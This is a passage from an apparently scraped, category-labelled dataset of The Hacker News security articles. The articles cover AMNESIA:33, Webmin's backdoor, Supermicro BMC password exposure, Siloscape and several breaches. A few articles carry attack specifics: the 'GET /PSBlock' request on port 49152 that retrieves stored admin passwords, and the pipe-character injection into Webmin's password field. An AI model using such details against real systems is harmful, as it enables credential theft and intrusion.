Like the Urgent/11 and Ripple20 flaws that were disclosed in recent times, AMNESIA:33 stems from out-of-bounds writes, overflow flaws, or a lack of input validation, leading to memory corruption and enabling an attacker to put devices into infinite loops, poison DNS caches, and extract arbitrary data.
Three of the most severe issues reside in uIP (CVE-2020-24336), picoTCP (CVE-2020-24338), and Nut/Net (CVE-2020-25111), all of which are remote code execution (RCE) flaws and have a CVSS score of 9.8 out of a maximum of 10.
CVE-2020-24336 - The code for parsing DNS records in DNS response packets sent over NAT64 does not validate the length field of the response records, allowing attackers to corrupt memory.
CVE-2020-24338 - The function that parses domain names lacks bounds checks, allowing attackers to corrupt memory with crafted DNS packets.
CVE-2020-25111 - A heap buffer overflow occurring during the processing of the name field of a DNS response resource record, allowing an attacker to corrupt adjacent memory by writing an arbitrary number of bytes to an allocated buffer.
As of writing, vendors such as Microchip Technology and Siemens that have been affected by the reported vulnerabilities have also released security advisories.
""Embedded systems, such as IoT and [operational technology] devices, tend to have long vulnerability lifespans resulting from a combination of patching issues, long support lifecycles and vulnerabilities 'trickling down' highly complex and opaque supply chains,"" Forescout said.
""As a result, vulnerabilities in embedded TCP/IP stacks have the potential to affect millions – even billions – of devices across verticals and tend to remain a problem for a very long time.""
Besides urging organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures, CISA has recommended minimizing network exposure, isolating control system networks and remote devices behind firewalls, and using Virtual Private Networks (VPNs) for secure remote access.

",Malware
Vulnerability in its Identity Services Engine of Cisco,https://thehackernews.com/2011/09/vulnerability-in-its-identity-services.html,"Vulnerability in its Identity Services Engine of Cisco

Cisco is warning users of a critical vulnerability (CVE-2011-3290) in its Identity Services Engine (ISE). In its security advisory, the company says that the underlying database used by ISE, its identity and access control policy platform, contains three sets of default credentials that could be exploited by a remote attacker without any end-user interaction.

Using these credentials, an attacker could modify the configuration and settings, or even gain complete administrative control of a device. All hardware appliance and software-only versions of Cisco ISE prior to 1.0.4.MR2 are affected.The company says that it will release a free update to the software to address the vulnerability on 30 September 2011; no temporary workaround is available. Once released, the updates will be available to download from the Cisco Software Center.
[Source]

",Vulnerability
"Pokémon GO Creator's Twitter Account Hacked — Pika, Pikaaaa!",https://thehackernews.com/2016/07/pokemon-go-hack.html,"Twitter account of another high-profile CEO has been hacked!

This time, it's Niantic CEO John Hanke, the developer behind the world's most popular game Pokémon GO.

And it seems like Hanke is so busy with its newly launched game Pokémon GO that he hasn't noticed or took any measures against it even after over 12 hours of the hack, as the tweets made by hackers are still displaying on his Twitter timeline (at the time of writing).

OurMine claimed responsibility for the hack, which was spotted after the hacking group managed to post a series of messages on Hanke's Twitter timeline.

OurMine is the same group of Saudi Arabian hackers that previously compromised social media accounts of other CEOs including:


Google's CEO Sundar Pichai
Facebook's CEO Mark Zuckerberg
Twitter CEO Jack Dorsey
Twitter's ex-CEO Dick Costolo
Facebook-owned virtual reality company Oculus CEO Brendan Iribe


It appears that OurMine managed to post on Hanke's Twitter timeline after hacking his Quora account.

One of the tweets posted by the group claimed the hack was for Brazil, where Pokémon GO has yet to be released.

Pokémon GO has become the world's most popular mobile game and people are getting crazy to catch 'em all. The location-based augmented reality game allows players to catch Pokémon using their device's camera and is officially available in only a few countries.

And Niantic CEO's Twitter Password Was...

Another tweet claimed that Hanke's password was ""nopass.""

OurMine claims it is testing out the security of accounts and teaching people to secure their online accounts better, though it also offers its support to those it targets, charging up to $5,000 for a ""scan"" of their social media accounts, site security holes, and other security flaws.

The hacks of high-profile CEOs social media accounts could be due to recent mega breaches in LinkedIn, MySpace, and Tumblr that exposed almost one billion credentials.

You are advised to change your passwords for all social media sites as well as other online accounts immediately, especially if you are using the same password for multiple websites.

Also use a good password manager that allows you to create complex passwords for different sites as well as remember them. We have listed some best password managers here that could help you understand the importance of password manager and choose a suitable one.

",Cyber_Attack
Windows Remote Assistance Exploit Lets Hackers Steal Sensitive Files,https://thehackernews.com/2018/03/window-remote-assistance.html,"You have always been warned not to share remote access to your computer with untrusted people for any reason—it's a basic cybersecurity advice, and common sense, right?

But what if, I say you should not even trust anyone who invites or offer you full remote access to their computers.

A critical vulnerability has been discovered in Microsoft's Windows Remote Assistance (Quick Assist) feature that affects all versions of Windows to date, including Windows 10, 8.1, RT 8.1, and 7, and allows remote attackers to steal sensitive files on the targeted machine.

Windows Remote Assistance is a built-in tool that allows someone you trust to take over your PC (or you to take remote control of others) so they can help you fix a problem from anywhere around the world.

The feature relies on the Remote Desktop Protocol (RDP) to establish a secure connection with the person in need.

However, Nabeel Ahmed of Trend Micro Zero Day Initiative discovered and reported an information disclosure vulnerability (CVE-2018-0878) in Windows Remote Assistance that could allow attackers to obtain information to further compromise the victim's system.

The vulnerability, which has been fixed by the company in this month's patch Tuesday, resides in the way Windows Remote Assistance processes XML External Entities (XXE).

The vulnerability affects Microsoft Windows Server 2016, Windows Server 2012 and R2, Windows Server 2008 SP2 and R2 SP1, Windows 10 (both 32- and 64-bit), Windows 8.1 (both 32- and 64-bit) and RT 8.1, and Windows 7 (both 32- and 64-bit).

Exploiting Windows Remote Assistance to Steal Files
Since a security patch for this vulnerability is now available, the researcher has finally released technical details and proof-of-concept exploit code for the flaw to the public.

In order to exploit this flaw, which resides in MSXML3 parser, the hacker needs to use ""Out-of-Band Data Retrieval"" attack technique by offering the victim access to his/her computer via Windows Remote Assistance.

While setting up Windows Remote Assistance, the feature gives you two options—Invite someone to help you and Respond to someone who needs help.

Selecting the first option helps users generate an invitation file, i.e. 'invitation.msrcincident,' which contains XML data with a lot of parameters and values required for authentication.
Since the parser does not properly validate the content, the attacker can simply send a specially crafted Remote Assistance invitation file containing a malicious payload to the victim, tricking the targeted computer to submit the content of specific files from known locations to a remote server controlled by the attackers.
""The stolen information could be submitted as part of the URL in HTTP request(s) to the attacker. In all cases, an attacker would have no way to force a user to view the attacker-controlled content. Instead, an attacker would have to convince a user to take action,"" Microsoft explains.
""This XXE vulnerability can be genuinely used in mass scale phishing attacks targeting individuals believing they are truly helping another individual with an IT problem. Totally unaware that the .msrcincident invitation file could potentially result in loss of sensitive information,"" Ahmed warns.
Among patching other critical vulnerabilities fixed this month, Windows users are highly recommended to install the latest update for Windows Remote Assistance as soon as possible.

",Cyber_Attack
"BMC Vulnerability Exposes Admin Password of 32,000 Servers in Plaintext on the Internet",https://thehackernews.com/2014/06/bmc-vulnerability-in-32000-servers.html,"A Flaw has been discovered in the motherboards manufactured by the server manufacturer Supermicro, has left more than 30,000 servers vulnerable to hackers that could allow them to remotely compromise the management interface of unpatched servers.

The vulnerability actually resides in the Baseboard Management Controller (BMC) in the WPCM450 line of chips incorporated into the motherboards. Security Researcher at CARInet Security Incident Response Team, discovered that Baseboard Management Controller (BMC) of Supermicro motherboards contain a binary file that stores remote login passwords in clear text and the file is available for download simply by connecting to the specific port, 49152.

Baseboard Management Controller (BMC) is the central part of the microcontroller that resides on server motherboard or in the chassis of a blade server or telecom platform. The BMC links to a main processor and other onboard elements via a simple serial bus.

Baseboard management controllers are part of the Intelligent Platform Management Interface (IPMI) protocol, which defines communication protocols and a server administrator can access the BMC by using an IPMI-compliant management application loaded on a computer or via a web interface via port 49152.

In order to compromise vulnerable servers, an attacker can perform Internet scanning on port 49152 to identify exploitable servers and can download remote login passwords which is stored in a binary file location ""GET /PSBlock"" of the motherboard in clear plain text.

When recently an Internet scan is performed on the Shodan, a specialized search engine for finding embedded systems, approximately 31,964 machines were found still vulnerable, a count that doesn't include the vulnerable systems installed on virtual environment used in shared hosting services.

""This means at the point of this writing, there are 31,964 systems that have their passwords available on the open market,"" wrote Zachary Wikholm, a senior security engineer with the CARInet Security Incident Response Team.

An analysis of the passwords available for download also indicates that thousands of the passwords are really easily guessable or the default ones.
""It gets a bit scarier when you review some of the password statistics. Out of those passwords, 3,296 are the default combination. Since I'm not comfortable providing too much password information, I will just say that there exists a subset of this data that either contains or just was 'password.'""
He also found that lot of systems are running older versions of the Linux kernel. According to Shodan search, approximately 23,380 of the total hosts are running the 2.4.31.x kernel, another 112,883 are running the 2.4.30.x kernel, and 710,046 systems are running the 2.4.19.x kernel.

The vulnerable 84 firmwares are listed here and server administrators are advised to apply available patches from vendors. In order to apply patches, you need to flash the device with new firmware update. For quick and temporary fix, administrators can disable all universal plug and play processes and their related children processes using secure shell connection to a vulnerable devices.

",Vulnerability
"Hackers Planted Backdoor in Webmin, Popular Utility for Linux/Unix Servers",https://thehackernews.com/2019/08/webmin-vulnerability-hacking.html,"Following the public disclosure of a critical zero-day vulnerability in Webmin last week, the project's maintainers today revealed that the flaw was not actually the result of a coding mistake made by the programmers.

Instead, it was secretly planted by an unknown hacker who successfully managed to inject a backdoor at some point in its build infrastructure—that surprisingly persisted into various releases of Webmin (1.882 through 1.921) and eventually remained hidden for over a year.

With over 3 million downloads per year, Webmin is one of the world's most popular open-source web-based applications for managing Unix-based systems, such as Linux, FreeBSD, or OpenBSD servers.

Webmin offers a simple user interface (UI) to manage users and groups, databases, BIND, Apache, Postfix, Sendmail, QMail, backups, firewalls, monitoring and alerts, and much more.

The story started when Turkish researcher Özkan Mustafa Akkuş publicly presented a zero-day remote code execution vulnerability in the Webmin at DefCon on August 10, without giving any advance notice to the affected project maintainers.

""We received no advance notification of it, which is unusual and unethical on the part of the researcher who discovered it. But, in such cases there's nothing we can do but fix it ASAP,"" said Joe Cooper, one of the project's developers.

Besides revealing the flaw to the public, Akkuş also released a Metasploit module for this vulnerability that aims to automate the exploitation using the Metasploit framework.


The vulnerability, tracked as CVE-2019-15107, was introduced in a security feature that has been designed to let Webmin administrator enforce a password expiration policy for other users' accounts.

According to the researcher, the security flaw resides in the password reset page and allows a remote, unauthenticated attacker to execute arbitrary commands with root privileges on affected servers just by adding a simple pipe command (""|"") in the old password field through POST requests.

In a blog post published today, Cooper said that the team is still investigating how and when the backdoor was introduced, but confirmed that the official Webmin downloads were replaced by the backdoored packages only on the project's SourceForge repository, and not on the Webmin's GitHub repositories.

Cooper also stressed that the affected password expiration feature doesn't come enabled by default for Webmin accounts, which means that most versions are not vulnerable in their default configuration, and the flaw only affects Webmin admins who have manually enabled this feature.

""To exploit the malicious code, your Webmin installation must have Webmin → Webmin Configuration → Authentication → Password expiry policy set to Prompt users with expired passwords to enter a new one. This option is not set by default, but if it is set, it allows remote code execution,"" Cooper said.

However, another security researcher on Twitter later revealed that Webmin version 1.890 is affected in the default configuration, as the hackers appear to have modified the source code to enable password expiration feature by default for all Webmin users.



These unusual changes in the Webmin source code were red-flagged by an administrator late last year, but surprisingly, Webmin developers never suspected that it was not their mistake, but the code was actually modified by someone else intentionally.

According to a Shodan search, Webmin has more than 218,000 Internet-exposed instances available at the time of writing, mostly located in the United States, France, and Germany—of which over 13,000 instances are running vulnerable Webmin version 1.890.
Webmin developers have now removed the malicious backdoor in its software to address the vulnerability and released the clean versions, Webmin 1.930 and Usermin version 1.780.

The latest Webmin and Usermin releases also address a handful of cross-site scripting (XSS) vulnerabilities that were responsibly disclosed by a different security researcher who has been rewarded with a bounty.

So, Webmin administrators are strongly recommended to update their packages as soon as possible.

",Vulnerability
Linux Subsystem on Windows 10 Allows Malware to Become Fully Undetectable,https://thehackernews.com/2017/09/windows-10-linux-evade-malware.html,"Microsoft has been expressing its love for Linux for almost three years now, and this love costs Microsoft an arm and a leg.

Last year, Microsoft surprised everyone by announcing the arrival of Windows Subsystem for Linux (WSL) in Windows 10, which brings the Linux command-line shell to Windows, allowing users to run native Linux applications on Windows system without virtualization.

However, security researchers from security firm Check Point Software Technologies have discovered a potential security issue with the WSL feature that could allow malware families designed for Linux target Windows computers—undetected by all current security software.

The researchers devised a new attack technique, dubbed Bashware, that takes advantage of Windows' built-in WSL feature, which is now out of beta and is set to arrive in the Windows 10 Fall Creators Update in October 2017.

Bashware Attack Undetectable by All Anti-Virus & Security Solutions

According to CheckPoint researchers, the Bashware attack technique could be abused even by a known Linux malware family, because security solutions for Windows are not designed to detect such threats.

This new attack could allow an attacker to hide any Linux malware from even the most common security solutions, including next generation anti-virus software, malware inspection tools, anti-ransomware solution and other tools.
But why so? Researchers argue that existing security software packages for Windows systems have not yet been modified to monitor processes of Linux executables running on Windows operating system.
""Existing security solutions are still not adapted to monitor processes of Linux executables running on Windows OS, a hybrid concept which allows a combination of Linux and Windows systems to run at the same time,"" Check Point researchers say.
""This may open a door for cyber criminals wishing to run their malicious code undetected, and allow them to use the features provided by WSL to hide from security products that have not yet integrated the proper detection mechanisms.""

Who is the Culprit? Microsoft or Security Vendors?

In order to run the target Linux application in an isolated environment, Microsoft introduced ""Pico processes""—containers that allow running of ELF binaries on the Windows operating system.

During their tests, the Check Point researchers were able to test the Bashware attack on ""most of the leading antivirus and security products on the market,"" and successfully bypass all of them.

It is because no security product monitors Pico processes, even when Microsoft already provides Pico API, a special application programming interface that can be used by security companies to monitor such processes.
""Bashware does not leverage any logic or implementation flaws in WSL's design. In fact, WSL seems to be well designed,"" the researchers concluded.
""What allows Bashware to operate the way it does is the lack of awareness by various security vendors, due to the fact that this technology is relatively new and expands the known borders of the Windows operating system.""

Bashware Attackers Requires Admin Rights—Is that Hard on Windows PC?

Yes, Bashware requires administrator access on the target computers, but gaining admin privileges on Windows PCs via phishing attacks and/or stolen admin credentials is not a difficult task for a motivated attacker.

However, these additional attacks could also alert antivirus and security products, subverting the attack before the actual Bashware attack can be executed to hide malware.

Since WSL is not turned on by default, and users are required to manually activate ""development mode"" on their computer systems in order to use it and reboot the system, the risks posed by the feature are mitigated to some extent.

However, the Check Point researchers say it is a little-known fact that the developer mode can be enabled by modifying a few registry keys, which can be done silently in the background by the attackers with the right privileges.

The Bashware attack technique automates the required procedures by silently loading the WSL components, enabling developer mode, even downloading and extracting the Linux file system from Microsoft's servers, and running malware.

No Need to Write Separate Malware Programs

What's interesting about Bashware? Hackers using Bashware are not required to write malware programs for Linux to run them through WSL on Windows computers.

This extra effort is saved by the Bashware technique which installs a program called Wine inside the downloaded Ubuntu user-space environment, and then launches known Windows malware through it.

The malware then initiates into Windows as pico processes, which will hide it from security software.

400 Million Computers Potentially Exposed to Bashware

The newly discovered attack technique does not leverage any implementation of WSL vulnerability, but is due to the lack of interest and awareness by various security vendors towards WSL.

Since the Linux shell is now available to Windows users, researchers believe that Bashware can potentially affect any of the 400 million PCs currently running Windows 10 across the world.

Check Point researchers said their company had already upgraded its security solutions to combat such attacks and are urging other security vendors to modify and update their next-generation anti-virus and security solutions accordingly.

",Malware
Ransomware Attacks Targeting Unpatched EOL SonicWall SMA 100 VPN Appliances,https://thehackernews.com/2021/07/ransomware-attacks-targeting-unpatched.html,"Networking equipment maker SonicWall is alerting customers of an ""imminent"" ransomware campaign targeting its Secure Mobile Access (SMA) 100 series and Secure Remote Access (SRA) products running unpatched and end-of-life 8.x firmware.
The warning comes more than a month after reports emerged that remote access vulnerabilities in SonicWall SRA 4600 VPN appliances (CVE-2019-7481) are being exploited as an initial access vector for ransomware attacks to breach corporate networks worldwide.
""SonicWall has been made aware of threat actors actively targeting Secure Mobile Access (SMA) 100 series and Secure Remote Access (SRA) products running unpatched and end-of-life (EOL) 8.x firmware in an imminent ransomware campaign using stolen credentials,"" the company said. ""The exploitation targets a known vulnerability that has been patched in newer versions of firmware.""
SMA 1000 series products are not affected by the flaw, SonicWall noted, urging businesses to take immediate action by either updating their firmware wherever applicable, turning on multi-factor authentication, or disconnecting the appliances that are past end-of-life status and cannot be updated to 9.x firmware.
""The affected end-of-life devices with 8.x firmware are past temporary mitigations. Continued use of this firmware or end-of-life devices is an active security risk,"" the company cautioned. As additional mitigation, SonicWall is also recommending customers reset all passwords associated with the SMA or SRA device, as well as any other devices or systems that may be using the same credentials.
The development also marks the fourth time SonicWall devices have emerged as a lucrative attack vector, with threat actors exploiting previously undisclosed flaws to drop malware and dig deeper into the targeted networks, making it the latest issue the company has grappled with in recent months.
In April, FireEye Mandiant disclosed that a hacking group tracked as UNC2447 was using a then-zero-day flaw in SonicWall VPN appliances (CVE-2021-20016) prior to it being patched by the company to deploy a new strain of ransomware called FIVEHANDS on the networks of North American and European entities.

",Malware
Hacker Selling 65 Million Passwords From Tumblr Data Breach,https://thehackernews.com/2016/05/tumblr-data-breach.html,"Earlier this month Tumblr revealed that a third party had obtained access to a set of e-mail addresses and passwords dating back from early 2013, before being acquired by Yahoo.

At that time, Tumblr did not reveal the number of affected users, but in reality, around 65,469,298 accounts credentials were leaked in the 2013 Tumblr data breach, according to security expert Troy Hunt, who runs the site Have I Been Pwned.

""As soon as we became aware of this, our security team thoroughly investigated the matter. Our analysis gives us no reason to believe that this information was used to access Tumblr accounts,"" read Tumblr's blog.

A Hacker, who is going by ""peace_of_mind,"" is selling the Tumblr data for 0.4255 Bitcoin ($225) on the darknet marketplace The Real Deal.

The compromised data includes 65,469,298 unique e-mail addresses and ""salted & hashed passwords.""

The Same hacker is also selling the compromised login account data from Fling, LinkedIn, and MySpace. I wonder if he has more data sets yet to sell…

Salt makes passwords hard to crack, but you should still probably change it.

",Data_Breaches
Dell Releases A New Cybersecurity Utility To Detect BIOS Attacks,https://thehackernews.com/2020/04/dell-bios-protection.html,"Computer manufacturing giant Dell has released a new security tool for its commercial customers that aims to protect their computers from stealthy and sophisticated cyberattacks involving the compromise of the BIOS.

Dubbed 'SafeBIOS Events & Indicators of Attack' (IoA), the new endpoint security software is a behavior-based threat detection system that alerts users when BIOS settings of their computers undergo some unusual changes.

BIOS (Basic Input Output System) is a small but highly-privileged program that handles critical operations and starts your computer before handing it over to your operating system.

Protecting the BIOS program is crucial because:

Changes to the system BIOS settings could allow malicious software to run during the boot process,
Once a hacker takes over the BIOS, he can stealthily control the targeted computer and gain access to the data stored on it,
Malware in BIOS remains persistent and doesn't get away even when you format or erase your entire hard drive,
Attacks against the BIOS are typically hard to detect because they are invisible to antivirus and other security software installed on the system,
With stealth access to one of the compromised systems in an enterprise IT network, sophisticated attackers could move laterally throughout the infrastructure.


According to Dell, the controls offered by SafeBIOS can quickly mitigate the risk of BIOS tampering by bringing them to your attention timely, allowing you to quarantine infected PCs.

""Organizations need the ability to detect when a malicious actor is on the move, altering BIOS configurations on endpoints as part of a larger attack strategy. SafeBIOS now provides the unique ability to generate Indicators of Attack on BIOS configurations, including changes and events that can signal an exploit,"" David Konetski, VP Client Solutions Group CTO at Dell said in a blog post.

""When BIOS configuration changes are detected that indicate a potential attack, security and IT teams are quickly alerted in their management consoles, allowing for swift isolation and remediation. SafeBIOS Events & IoA provides IT teams the visibility into BIOS configuration changes and analyzes these for potential threats – even during an ongoing attack.""

The company says the SafeBIOS Events and Indicators of Attack tool is currently available for Dell commercial PCs through its Dell Trusted Devices solution.

",Cyber_Attack
Email Phishers Using A Simple Way to Bypass MS Office 365 Protection,https://thehackernews.com/2018/06/email-phishing-protection.html,"Security researchers have been warning about a simple technique that cyber criminals and email scammers are using in the wild to bypass most AI-powered phishing detection mechanisms implemented by widely used email services and web security scanners.

Dubbed ZeroFont, the technique involves inserting hidden words with a font size of zero within the actual content of a phishing email, keeping its visual appearance same, but at the same time, making it non-malicious in the eyes of email security scanners.

According to cloud security company Avanan, Microsoft Office 365 also fails to detect such emails as malicious crafted using ZeroFont technique.
Like Microsoft Office 365, many emails and web security services use natural language processing and other artificial intelligence-based machine learning techniques to identify malicious or phishing emails faster.

The technology helps security companies to analyze, understand and derive meaning from unstructured text embedded in an email or web page by identifying text-based indicators, like email scams mimicking a popular company, phrases used to request for payments or password resets, and more.
However, by adding random zero font-size characters between the indicator texts present in a phishing email, cybercriminals can transform these indicators into an unstructured garbage text, hiding them from the natural language processing engine.

Therefore, the email looks normal to a human eye, but Microsoft reads the entire garbage text, even if some words are displayed with a font size of ""0.""
""Microsoft can not identify this as a spoofing email because it cannot see the word 'Microsoft' in the un-emulated version,"" reads Avanan's blog post. ""Essentially, the ZeroFont attack makes it possible to display one message to the anti-phishing filters and another to the end user.""
Besides the ZeroFont technique, Avanan also detected hackers using other similar tricks that involve Punycode, Unicode, or Hexadecimal Escape Characters in their phishing attacks.

Last month, researchers from the same company reported that cybercriminals had been splitting up the malicious URL in a way that the Safe Links security feature in Office 365 fails to identify and replace the partial hyperlink, eventually redirecting victims to the phishing site.

",Vulnerability
"Data Breach Day — Patreon (2.3M), T-Mobile (15M) and Scottrade (4.6M) — HACKED!",https://thehackernews.com/2015/10/data-breach-hacking.html,"This week, three high-profile data breaches took place, compromising personal and sensitive details of millions of people.
Telecommunication giant T-Mobile
Crowdfunding website Patreon
US brokerage firm Scottrade
In T-Mobile's case, its credit application processor Experian was hacked, potentially exposing highly sensitive details of 15 Million people who applied for its service in the past two years.

The stolen data includes home addresses, birth dates, driver's license number, passport number, military I.D. numbers and – most unfortunately – the Social Security numbers, among other information.

Patreon Hack Hits 2.3 Million Users

In Patreon's case, hackers managed to steal almost 15 gigabytes' worth of data including names, shipping addresses and email addresses of 2.3 Million users.

In a post published late Wednesday, Patreon CEO Jack Conte confirmed that the crowdfunding firm had been hacked and that the personal data of its users had been accessed.

According to the company, no credit card or debit card numbers were stolen in the data breach, and also the already accessed, ""all passwords, social security numbers, and tax form information"" were properly encrypted.

However, the company still suggests all its customers to change their passwords as a precaution.

The data hacked in the breach has since been circulating in various online locations for anyone to download, though it isn't immediately possible to confirm the authenticity of the dumped data.

Scottrade Hack Hits 4.6 Million Users

The last but not the least is the Online discount brokerage Scottrade that had suffered a data breach affecting 4.6 Million of its customers.

The company announced on its website that hackers managed to access one of its servers in late 2013 and early 2014, stealing names and street addresses for 4.6 million of their clients.

Other sensitive information, including email addresses and Social Security numbers, were also stored in the compromised system, but the company believes that this information has not been compromised.
""We have no reason to believe that Scottrade's trading platforms or any client funds were compromised,"" the company's statement reads. ""Client passwords remained fully encrypted at all times, and we have not seen any indication of fraudulent activity as a result of this incident.""
Scottrade is also offering a year of free identity theft protection services as a precaution to its 4.3 Million affected customers.

The news comes just a day after the theft of 15 million T-Mobile customers' data after a massive data breach of its credit reporting vendor Experian.

Meanwhile, you can do can one thing to prevent further damages from these data breaches: Freeze your credit report. Here's how you can Freeze your Credit Report.

",Data_Breaches
How Just Opening A Malicious PowerPoint File Could Compromise Your PC,https://thehackernews.com/2017/08/powerpoint-malware-ms-office.html,"A few months back we reported how opening a simple MS Word file could compromise your computer using a critical vulnerability in Microsoft Office.

The Microsoft Office remote code execution vulnerability (CVE-2017-0199) resided in the Windows Object Linking and Embedding (OLE) interface for which a patch was issued in April this year, but threat actors are still abusing the flaw through the different mediums.

Security researchers have spotted a new malware campaign that is leveraging the same exploit, but for the first time, hidden behind a specially crafted PowerPoint (PPSX) Presentation file.

According to the researchers at Trend Micro, who spotted the malware campaign, the targeted attack starts with a convincing spear-phishing email attachment, purportedly from a cable manufacturing provider and mainly targets companies involved in the electronics manufacturing industry.

Researchers believe this attack involves the use of a sender address disguised as a legitimate email sent by a sales and billing department.

Here's How the Attack Works:

The complete attack scenario is listed below:
Step 1: The attack begins with an email that contains a malicious PowerPoint (PPSX) file in the attachment, pretending to be shipping information about an order request.

Step 2: Once executed, the PPSX file calls an XML file programmed in it to download ""logo.doc"" file from a remote location and runs it via the PowerPoint Show animations feature.

Step 3: The malformed Logo.doc file then triggers the CVE-2017-0199 vulnerability, which downloads and executes RATMAN.exe on the targeted system.

Step 4: RATMAN.exe is a Trojanized version of the Remcos Remote Control tool, which when installed, allows attackers to control infected computers from its command-and-control server remotely.
Remcos is a legitimate and customizable remote access tool that allows users to control their system from anywhere in the world with some capabilities, like a download and execute the command, a keylogger, a screen logger, and recorders for both webcam and microphone.

Since the exploit is used to deliver infected Rich Text File (.RTF) documents, most detection methods for CVE-2017-0199 focuses on the RTF. So, the use of a new PPSX files allows attackers to evade antivirus detection as well.

The easiest way to prevent yourself completely from this attack is to download and apply patches released by Microsoft in April that will address the CVE-2017-0199 vulnerability.

",Malware
Using 'Signal' for Encrypted Chats? You Shouldn't Skip Its Next Update,https://thehackernews.com/2016/09/signal-private-messenger.html,"Two Researchers have discovered a couple of vulnerabilities in Signal, the popular end-to-end encrypted messaging app recommended by whistleblower Edward Snowden.

One of those vulnerabilities could allow potential attackers to add random data to the attachments of encrypted messages sent by Android users, while another bug could allow hackers to remotely crash vulnerable devices.

The vulnerabilities have just been patched, but the updated version of Signal is yet available on the Github open source repository, and not on the Google's official Play Store for Android apps, leaving millions of privacy conscious people vulnerable to attacks.

That means, if you have installed Signal messaging app via Google Play Store, like other millions of Android users, you are still vulnerable to hackers.

Developed by open source software group Open Whisper System, Signal is a free and open source messaging application specifically designed for Android and iOS users to make secure and encrypted messages and voice calls.

The flaws in Android version of Signal includes:
Message authentication-bypass vulnerability
Remote crash bug

The Message Authentication-Bypass Flaw in Signal

Researchers Jean-Philippe Aumasson and Markus Vervier have discovered the message authentication-bypass vulnerability while reviewing the Java code used by Signal for Android.

The vulnerability is not easily exploitable. Only the attackers with the ability to compromise a Signal server or monitor data passing between Signal users (Man-in-the-Middle attack) would be able to append pseudorandom data to the legitimate attachment.

The flaw is due to an integer overflow bug, which is triggered only if an extremely large file, at least 4 gigabytes in size, is attached to a Signal message. But, what does it mean?

Actually, as a part of standard encryption schemes, encrypted messaging services make use of Message Authentication Code (MAC) to authenticate a message — in other words, to confirm that the message came from the sender has not been changed in transit.

However, in the case of attachments, Signal does not verify the authenticity of the entire file; instead it just checks a small portion of it, making it possible for hackers to attach pseudorandom data to the legitimate attachment that wouldn't be detected by the MAC.

For a successful attack, an attacker could make use of Signal's file compression feature to reduce the size of his malicious attachment to a manageable 4 megabytes.

While talking to Ars Technica, Aumasson said he found the integer overflow bug in the following line of code:
int remainingData = (int) file.length() - mac.getMacLength();
The value 'file.length()' is a number encoded on 64 bits (of type 'long').
The receiving variable 'remainingData' is a number encoded on 32 bits (of type 'int').
""Therefore, when 'file.length()' is longer than what fits in a 32-bit number, the value of 'remainingData' (the number of bytes left to process) will be incorrect, as it will be much smaller than the real size of the file,"" Aumasson explained. ""Consequently, a large part of the file will be ignored when Signal will verify the cryptographic authenticity. Signal will only check the (small) beginning of the file, whereas the user will actually receive the much larger file.""
Although Signal uses end-to-end encryption to encrypt the messages on the sender's device and decrypt it only on the receiver's end, the encrypted messages still pass through a server, allowing attackers to carry out the message authentication bypass attack by hacking or impersonating as a server and then tampering with legitimate message attachments.

While the attack is trivial to carry out, it is not too difficult for state-sponsored attackers to impersonate as a trusted certificate authority (CA) or trick victims into installing a rogue certificate on their devices and, thereby, successfully circumvent transport-layer security (TLS) protections.

Moreover, Since Signal has been used by a large number of security professionals and privacy advocates, the app has always been on the priority list of nation-state actors. Although, it seems like they are not likely to exploit this kind of flaw.
""This was a really great bug report, but we consider its impact to be low severity at this time. It does not allow an attacker who has compromised the server to read or modify attachments, only to append a *minimum* of 4GB of unpredictable random data to the end of an attachment in transmit,"" Moxie Marlinspike, Founder of Open Whisper System said.
""While that causes a denial of service, effectively corrupting a file in an unpredictable way and making it too large to open on any Android device, an attacker that has compromised the server could more easily deny service just by blocking your request for the attachment.""
The second flaw discovered by the researchers could allow attackers to remotely execute malicious code on the victim's device, while the third one makes it possible for attackers to just carry a simple remote crash.

For more details about the vulnerabilities, you can head on to the blog post published by the researchers.

The researchers privately disclosed all the vulnerabilities to Open Whisper System on September 13, and the company has already issued an update on Github, though it still has to appear on Play Store.
""The results are not catastrophic, but show that, like any piece of software, Signal is not perfect,"" Aumasson said. ""Signal drew the attention of many security researchers, and it's impressive that no vulnerability was ever published until today. This pleads in favor of Signal, and we'll keep trusting it.""
Aumasson and Vervier are now testing the same bugs in WhatsApp and Facebook Messenger that also relies on Signal code.

",Vulnerability
Researchers Discover First Known Malware Targeting Windows Containers,https://thehackernews.com/2021/06/researchers-discover-first-known.html,"Security researchers have discovered the first known malware, dubbed ""Siloscope,"" targeting Windows Server containers to infect Kubernetes clusters in cloud environments.
""Siloscape is heavily obfuscated malware targeting Kubernetes clusters through Windows containers,"" said Unit 42 researcher Daniel Prizmant. ""Its main purpose is to open a backdoor into poorly configured Kubernetes clusters in order to run malicious containers such as, but not limited to, cryptojackers.""
Siloscape, first detected in March 2021, is characterized by several techniques, including targeting common cloud applications such as web servers to gain an initial foothold via known vulnerabilities, following which it leverages Windows container escape techniques to break out of the confines of the container and gain remote code execution on the underlying node.
A container is an isolated, lightweight silo for running an application on the host operating system. The malware's name — short for silo escape — is derived from its primary goal to escape the container, in this case, the silo. To achieve this, Siloscape uses a method called Thread Impersonation.
""Siloscape mimics CExecSvc.exe privileges by impersonating its main thread and then calls NtSetInformationSymbolicLink on a newly created symbolic link to break out of the container,"" said Prizmant. ""More specifically, it links its local containerized X drive to the host's C drive.""
Armed with this privilege, the malware then attempts to abuse the node's credentials to spread across the cluster, before anonymously establishing a connection to its command-and-control (C2) server using a Tor proxy for further instructions, including taking advantage of the computing resources in a Kubernetes cluster for cryptojacking and even exfiltrating sensitive data from applications running in the compromised clusters.
""Unlike other malware targeting containers, which are mostly cryptojacking-focused, Siloscape doesn't actually do anything that will harm the cluster on its own,"" Prizmant said. ""Instead, it focuses on being undetected and untraceable and opens a backdoor to the cluster.""
After gaining access to the C2 server, Unit 42 said it found 23 active victims, with the server hosting a total of 313 users. The campaign is said to have begun at least around Jan. 12, 2020, based on the creation date of the C2 server, suggesting that the malware could just be a small part of a larger campaign that started over a year ago.
""Unlike most cloud malware, which mostly focuses on resource hijacking and denial of service (DoS), Siloscape doesn't limit itself to any specific goal,"" Prizmant noted. ""Instead, it opens a backdoor to all kinds of malicious activities."" In addition to securely configuring Kubernetes clusters, it's also recommended to deploy Hyper-V containers if containerization is utilized as a form of the security boundary.

",Malware
